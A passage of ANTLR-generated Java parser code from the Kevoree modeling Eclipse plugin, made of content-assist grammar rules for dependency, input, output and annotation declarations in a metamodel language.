rule__DependencyDeclaration__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__2"
// $ANTLR start "rule__DependencyDeclaration__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1832:1: rule__DependencyDeclaration__Group__2__Impl : ( ':' ) ;
public final void rule__DependencyDeclaration__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1836:1: ( ( ':' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1837:1: ( ':' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1837:1: ( ':' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1838:1: ':'
{
before(grammarAccess.getDependencyDeclarationAccess().getColonKeyword_2());
match(input,27,FOLLOW_27_in_rule__DependencyDeclaration__Group__2__Impl3694);
after(grammarAccess.getDependencyDeclarationAccess().getColonKeyword_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__2__Impl"
// $ANTLR start "rule__DependencyDeclaration__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1851:1: rule__DependencyDeclaration__Group__3 : rule__DependencyDeclaration__Group__3__Impl ;
public final void rule__DependencyDeclaration__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1855:1: ( rule__DependencyDeclaration__Group__3__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1856:2: rule__DependencyDeclaration__Group__3__Impl
{
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__3__Impl_in_rule__DependencyDeclaration__Group__33725);
rule__DependencyDeclaration__Group__3__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__3"
// $ANTLR start "rule__DependencyDeclaration__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1862:1: rule__DependencyDeclaration__Group__3__Impl : ( ruletypeName ) ;
public final void rule__DependencyDeclaration__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1866:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1867:1: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1867:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1868:1: ruletypeName
{
before(grammarAccess.getDependencyDeclarationAccess().getTypeNameParserRuleCall_3());
pushFollow(FOLLOW_ruletypeName_in_rule__DependencyDeclaration__Group__3__Impl3752);
ruletypeName();
state._fsp--;
after(grammarAccess.getDependencyDeclarationAccess().getTypeNameParserRuleCall_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__3__Impl"
// $ANTLR start "rule__InputDeclaration__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1887:1: rule__InputDeclaration__Group__0 : rule__InputDeclaration__Group__0__Impl rule__InputDeclaration__Group__1 ;
public final void rule__InputDeclaration__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1891:1: ( rule__InputDeclaration__Group__0__Impl rule__InputDeclaration__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1892:2: rule__InputDeclaration__Group__0__Impl rule__InputDeclaration__Group__1
{
pushFollow(FOLLOW_rule__InputDeclaration__Group__0__Impl_in_rule__InputDeclaration__Group__03789);
rule__InputDeclaration__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__InputDeclaration__Group__1_in_rule__InputDeclaration__Group__03792);
rule__InputDeclaration__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__0"
// $ANTLR start "rule__InputDeclaration__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1899:1: rule__InputDeclaration__Group__0__Impl : ( 'input' ) ;
public final void rule__InputDeclaration__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1903:1: ( ( 'input' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1904:1: ( 'input' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1904:1: ( 'input' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1905:1: 'input'
{
before(grammarAccess.getInputDeclarationAccess().getInputKeyword_0());
match(input,29,FOLLOW_29_in_rule__InputDeclaration__Group__0__Impl3820);
after(grammarAccess.getInputDeclarationAccess().getInputKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__0__Impl"
// $ANTLR start "rule__InputDeclaration__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1918:1: rule__InputDeclaration__Group__1 : rule__InputDeclaration__Group__1__Impl rule__InputDeclaration__Group__2 ;
public final void rule__InputDeclaration__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1922:1: ( rule__InputDeclaration__Group__1__Impl rule__InputDeclaration__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1923:2: rule__InputDeclaration__Group__1__Impl rule__InputDeclaration__Group__2
{
pushFollow(FOLLOW_rule__InputDeclaration__Group__1__Impl_in_rule__InputDeclaration__Group__13851);
rule__InputDeclaration__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__InputDeclaration__Group__2_in_rule__InputDeclaration__Group__13854);
rule__InputDeclaration__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__1"
// $ANTLR start "rule__InputDeclaration__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1930:1: rule__InputDeclaration__Group__1__Impl : ( RULE_ID ) ;
public final void rule__InputDeclaration__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1934:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1935:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1935:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1936:1: RULE_ID
{
before(grammarAccess.getInputDeclarationAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__InputDeclaration__Group__1__Impl3881);
after(grammarAccess.getInputDeclarationAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__1__Impl"
// $ANTLR start "rule__InputDeclaration__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1947:1: rule__InputDeclaration__Group__2 : rule__InputDeclaration__Group__2__Impl ;
public final void rule__InputDeclaration__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1951:1: ( rule__InputDeclaration__Group__2__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1952:2: rule__InputDeclaration__Group__2__Impl
{
pushFollow(FOLLOW_rule__InputDeclaration__Group__2__Impl_in_rule__InputDeclaration__Group__23910);
rule__InputDeclaration__Group__2__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__2"
// $ANTLR start "rule__InputDeclaration__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1958:1: rule__InputDeclaration__Group__2__Impl : ( RULE_STRING ) ;
public final void rule__InputDeclaration__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1962:1: ( ( RULE_STRING ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1963:1: ( RULE_STRING )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1963:1: ( RULE_STRING )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1964:1: RULE_STRING
{
before(grammarAccess.getInputDeclarationAccess().getSTRINGTerminalRuleCall_2());
match(input,RULE_STRING,FOLLOW_RULE_STRING_in_rule__InputDeclaration__Group__2__Impl3937);
after(grammarAccess.getInputDeclarationAccess().getSTRINGTerminalRuleCall_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__InputDeclaration__Group__2__Impl"
// $ANTLR start "rule__OutputDeclaration__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1981:1: rule__OutputDeclaration__Group__0 : rule__OutputDeclaration__Group__0__Impl rule__OutputDeclaration__Group__1 ;
public final void rule__OutputDeclaration__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1985:1: ( rule__OutputDeclaration__Group__0__Impl rule__OutputDeclaration__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1986:2: rule__OutputDeclaration__Group__0__Impl rule__OutputDeclaration__Group__1
{
pushFollow(FOLLOW_rule__OutputDeclaration__Group__0__Impl_in_rule__OutputDeclaration__Group__03972);
rule__OutputDeclaration__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__OutputDeclaration__Group__1_in_rule__OutputDeclaration__Group__03975);
rule__OutputDeclaration__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__0"
// $ANTLR start "rule__OutputDeclaration__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1993:1: rule__OutputDeclaration__Group__0__Impl : ( 'output' ) ;
public final void rule__OutputDeclaration__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1997:1: ( ( 'output' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1998:1: ( 'output' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1998:1: ( 'output' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1999:1: 'output'
{
before(grammarAccess.getOutputDeclarationAccess().getOutputKeyword_0());
match(input,30,FOLLOW_30_in_rule__OutputDeclaration__Group__0__Impl4003);
after(grammarAccess.getOutputDeclarationAccess().getOutputKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__0__Impl"
// $ANTLR start "rule__OutputDeclaration__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2012:1: rule__OutputDeclaration__Group__1 : rule__OutputDeclaration__Group__1__Impl rule__OutputDeclaration__Group__2 ;
public final void rule__OutputDeclaration__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2016:1: ( rule__OutputDeclaration__Group__1__Impl rule__OutputDeclaration__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2017:2: rule__OutputDeclaration__Group__1__Impl rule__OutputDeclaration__Group__2
{
pushFollow(FOLLOW_rule__OutputDeclaration__Group__1__Impl_in_rule__OutputDeclaration__Group__14034);
rule__OutputDeclaration__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__OutputDeclaration__Group__2_in_rule__OutputDeclaration__Group__14037);
rule__OutputDeclaration__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__1"
// $ANTLR start "rule__OutputDeclaration__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2024:1: rule__OutputDeclaration__Group__1__Impl : ( RULE_ID ) ;
public final void rule__OutputDeclaration__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2028:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2029:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2029:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2030:1: RULE_ID
{
before(grammarAccess.getOutputDeclarationAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__OutputDeclaration__Group__1__Impl4064);
after(grammarAccess.getOutputDeclarationAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__1__Impl"
// $ANTLR start "rule__OutputDeclaration__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2041:1: rule__OutputDeclaration__Group__2 : rule__OutputDeclaration__Group__2__Impl rule__OutputDeclaration__Group__3 ;
public final void rule__OutputDeclaration__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2045:1: ( rule__OutputDeclaration__Group__2__Impl rule__OutputDeclaration__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2046:2: rule__OutputDeclaration__Group__2__Impl rule__OutputDeclaration__Group__3
{
pushFollow(FOLLOW_rule__OutputDeclaration__Group__2__Impl_in_rule__OutputDeclaration__Group__24093);
rule__OutputDeclaration__Group__2__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__OutputDeclaration__Group__3_in_rule__OutputDeclaration__Group__24096);
rule__OutputDeclaration__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__2"
// $ANTLR start "rule__OutputDeclaration__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2053:1: rule__OutputDeclaration__Group__2__Impl : ( ':' ) ;
public final void rule__OutputDeclaration__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2057:1: ( ( ':' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2058:1: ( ':' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2058:1: ( ':' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2059:1: ':'
{
before(grammarAccess.getOutputDeclarationAccess().getColonKeyword_2());
match(input,27,FOLLOW_27_in_rule__OutputDeclaration__Group__2__Impl4124);
after(grammarAccess.getOutputDeclarationAccess().getColonKeyword_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__2__Impl"
// $ANTLR start "rule__OutputDeclaration__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2072:1: rule__OutputDeclaration__Group__3 : rule__OutputDeclaration__Group__3__Impl ;
public final void rule__OutputDeclaration__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2076:1: ( rule__OutputDeclaration__Group__3__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2077:2: rule__OutputDeclaration__Group__3__Impl
{
pushFollow(FOLLOW_rule__OutputDeclaration__Group__3__Impl_in_rule__OutputDeclaration__Group__34155);
rule__OutputDeclaration__Group__3__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__3"
// $ANTLR start "rule__OutputDeclaration__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2083:1: rule__OutputDeclaration__Group__3__Impl : ( ruleattributeType ) ;
public final void rule__OutputDeclaration__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2087:1: ( ( ruleattributeType ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2088:1: ( ruleattributeType )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2088:1: ( ruleattributeType )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2089:1: ruleattributeType
{
before(grammarAccess.getOutputDeclarationAccess().getAttributeTypeParserRuleCall_3());
pushFollow(FOLLOW_ruleattributeType_in_rule__OutputDeclaration__Group__3__Impl4182);
ruleattributeType();
state._fsp--;
after(grammarAccess.getOutputDeclarationAccess().getAttributeTypeParserRuleCall_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__OutputDeclaration__Group__3__Impl"
// $ANTLR start "rule__AnnotationDeclr__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2108:1: rule__AnnotationDeclr__Group__0 : rule__AnnotationDeclr__Group__0__Impl rule__AnnotationDeclr__Group__1 ;
public final void rule__AnnotationDeclr__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2112:1: ( rule__AnnotationDeclr__Group__0__Impl rule__AnnotationDeclr__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2113:2: rule__AnnotationDeclr__Group__0__Impl rule__AnnotationDeclr__Group__1
{
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__0__Impl_in_rule__AnnotationDeclr__Group__04219);
rule__AnnotationDeclr__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__1_in_rule__AnnotationDeclr__Group__04222);
rule__AnnotationDeclr__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__0"
// $ANTLR start "rule__AnnotationDeclr__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2120:1: rule__AnnotationDeclr__Group__0__Impl : ( 'with' ) ;
public final void rule__AnnotationDeclr__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2124:1: ( ( 'with' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2125:1: ( 'with' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2125:1: ( 'with' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2126:1: 'with'
{
before(grammarAccess.getAnnotationDeclrAccess().getWithKeyword_0());
match(input,31,FOLLOW_31_in_rule__AnnotationDeclr__Group__0__Impl4250);
after(grammarAccess.getAnnotationDeclrAccess().getWithKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__0__Impl"
// $ANTLR start "rule__AnnotationDeclr__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2139:1: rule__AnnotationDeclr__Group__1 : rule__AnnotationDeclr__Group__1__Impl rule__AnnotationDeclr__Group__2 ;
public final void rule__AnnotationDeclr__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2143:1: ( rule__AnnotationDeclr__Group__1__Impl rule__AnnotationDeclr__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2144:2: rule__AnnotationDeclr__Group__1__Impl rule__AnnotationDeclr__Group__2
{
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__1__Impl_in_rule__AnnotationDeclr__Group__14281);
rule__AnnotationDeclr__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__2_in_rule__AnnotationDeclr__Group__14284);
rule__AnnotationDeclr__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__1"
// $ANTLR start "rule__AnnotationDeclr__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2151:1: rule__AnnotationDeclr__Group__1__Impl : ( RULE_ID ) ;
public final void rule__AnnotationDeclr__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2155:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2156:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2156:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2157:1: RULE_ID
{
before(grammarAccess.getAnnotationDeclrAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__AnnotationDeclr__Group__1__Impl4311);
after(grammarAccess.getAnnotationDeclrAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__1__Impl"
// $ANTLR start "rule__AnnotationDeclr__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2168:1: rule__AnnotationDeclr__Group__2 : rule__AnnotationDeclr__Group__2__Impl ;
public final void rule__AnnotationDeclr__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2172:1: ( rule__AnnotationDeclr__Group__2__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2173:2: rule__AnnotationDeclr__Group__2__Impl
{
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__2__Impl_in_rule__AnnotationDeclr__Group__24340);
rule__AnnotationDeclr__Group__2__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__2"
// $ANTLR start "rule__AnnotationDeclr__Group__2__Impl"
